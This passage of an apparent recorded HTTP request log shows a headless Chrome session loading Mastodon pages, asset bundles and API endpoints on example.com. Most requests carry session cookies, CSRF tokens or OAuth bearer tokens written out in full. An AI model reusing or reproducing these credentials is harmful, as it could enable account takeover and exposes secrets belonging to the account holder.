_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/followed_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/suggestions?limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuNTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ab37d5619a5b365ffcf114d7fcf24bac7902a1c0; _mastodon_session=GcqZiRiKd6lOhH3kv7dp3NEtsId2LwZyinAl1WgQ0mv7Xi%2F4u8mHBowJByanPqe2Kbtzx%2F6d%2ByeronZc62F4meOrDbP3YHiz9GzlNe2qtzBM0IDg4IxxHzUqh6nzBJiL9%2F9Y%2FY8fHzwkUTvlzM6%2FDeHgw8vFdLmFHbRKCUIbm3Chr49lmF24ZlBEZh4P9xDGCP%2B%2Fvz4MIjy6Ac3Jf2MVwJ6f8%2FDrOyEHaDutn4kRRpAZn0Kg6vyhoZzPZ7%2FphQXMDzCM5Y4Dhl9bCyCSXMaQjIHdXKw3KWuXriMcNGS92ahwOUXsO6ek%2B5nmYqs0imHxl1T14Ty%2Fnd8X3tnUBNSmeG%2FaZ5F7qn3Bu4%2BP4tehImlPNnJN6DzAUcpGFqHwvNZQl041qKzQ5QPr--0ABW2%2BRbHzqehg9r--VOa3dvcmH%2F3BScLpYtOSTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/defineProperty-BbfpZ9Tg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=NHDhXMNPICM75H9ZB31b4JxRUxjBICoeH%2BKY0s0UBv5WPDr3pI5gDCua4%2B3qJWciKD%2Br1Hu2SNWrz5YR%2B72ea1QswBF6qnwGSg2DzJTssFaZCl3TFqizNszNtpPEES%2FIL9AP18JPY2joU8c4zP1k3KowWQbcXrzI1iRpn%2FSgGV0Z%2F%2FNZb9RnO0SWiXQy3dniX9tUbqEjPlSUqoJJPO9aLnMJXt22TDXGzPJ6eVYgERrtf%2FCiOQ1Zb%2FRSKF8eRBIIiJTwrFOW%2Bg%2Bd2sqW9YnV%2BwtKG6dRgImnig%3D%3D--N5aZsJPeWFwHpIgE--MthrYh5EWJDXUWZ7cLXnaw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/environment-a85louTd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/time-DvUjGWVP.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/copy_button-Cvmgdf-k.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTguNTM2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6e66f1fdb98e5f6300a1ec7cafb829c3bbc13cf6; _mastodon_session=XOts8Os87077Dh7Jz%2B8mPUA6%2Bm8sPyBDVVkFFF1RF9xJ1SWscyMLpoeQdlW%2FyzS9XdsA5HFtMYOSEGu5Ia%2FoWnoIQf1WTrXABbRIni3%2F2twUW%2Fso68KluirGxYC6wJgtEa82GJU3K9gcTs6knfdWiqU8jthBlLD65I6DOjWa50Z%2FA8sHj5KhV9H0ytV0%2BJnCO5BNBQbrZwbOTc%2FYlXNQ%2F%2BOhrBzGLexUGO483Sj3xjZ0Ipm8jczET17r6DFlyLXFERT88DDV0UssqYxkONUWuTped2mhMqZbSgyS%2F%2FXZF7B44c8c8XRAoMo0Kv8bcA7N4LYady3JlJlOWs7xvNArXguo71Bi8rAICYPmElCyi1Pedb%2Fbj2BpBgcQRVav8cPBdeUDsVHR%2Fkp1--TdRB5p6BZ4BWFtmB--tCyX7W8EPW7l1rtdB06L0Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/bundle_column_error-TCkCl549.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/onboarding-BlDKxj5Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/volume_off-D61wX6FU.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/home_timeline-BoubaQqh.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: DhuW4OAQwzFBdZh1ooy1_wr3ShrwE9-GasH1Y5NBpyPk3a0awbgj04gtch8KKfW80vJDlV8xBAf_J58SaA0asw", "Authorization: Bearer rWYdK4yMefqkXZ-lsb59TawdJXJRbItKCLaZHqnAH2U", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MDAuNDQxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2e005a0c0a39553d22226afa129a9a92911e8a52; _mastodon_session=cTydIB16X6RaTdkrtlDildZ9B%2BiSpFgy2H0aJJCiweoKl0KNq6tOaDQOHnyxoujCtgl%2B44Nz98ZjYcVWcALXzMXdRmL77K9aaV6YcY25cdtT6Z9g1YE7mzi53rC%2FHAjHaJ67Nbw%2B67TLshzZwrO6tqvgQc%2BFxhykd0gU%2F6ZmW0weJsJs8d6BHrgG4xaHYmwqBiVWB2XgfYlDqf80ozbgv4APSGtB96ovfkHXpkQUobKCkdBPQzUuWGrvln2BeKhDF25KSF%2B7Umxu2vAo3YpLQ0D2RhQMDDaaweYBj6pYmD89IWBsZTFORLgYRCEt2NNoBNEJJ%2F8zWRfD9se%2FjGrhcblDf0YUsWZLiOYjNRmIrbzLSHtj%2B09Ht340%2FzuO%2Bsq2b7MxLcGeDIOy--2TLUrGI1xJYR4I3W--d3EBR9y2nw0on9AQVT8qaw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/app-DHclxKoS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=QmOUx2DCAY5Avlk6vEpyTplzwOZMdYu4tb4VPa2HaaFhBAYdZ8dFCEfeqnZXX7JYMmaroZkP0YFPewIK16c7BiCSNpvXI%2BhTAdsg91or%2F2QX2FuZJ9ApE3apRGSLVklFfkGUjhL6M1MLbf%2Fy95Ig3R9ojm7So%2F0jFvPLrME5FfEr13iJ%2BL8TjoX4zd2WwXTn12SQcna58HVjCEQyNA4e22cJrmvm2lsIwM9F0nAxUCzBz5Txsn6iADfTcAi3SMy8yz3Hhs709cwig4jfdzpLW9AQm7aBmUUTzA%3D%3D--mKuoeJLj0Qsgm4Ql--sIaGgeDm4MfK9vrg3u7AeA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/emoji-C5pkf6Bo.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; 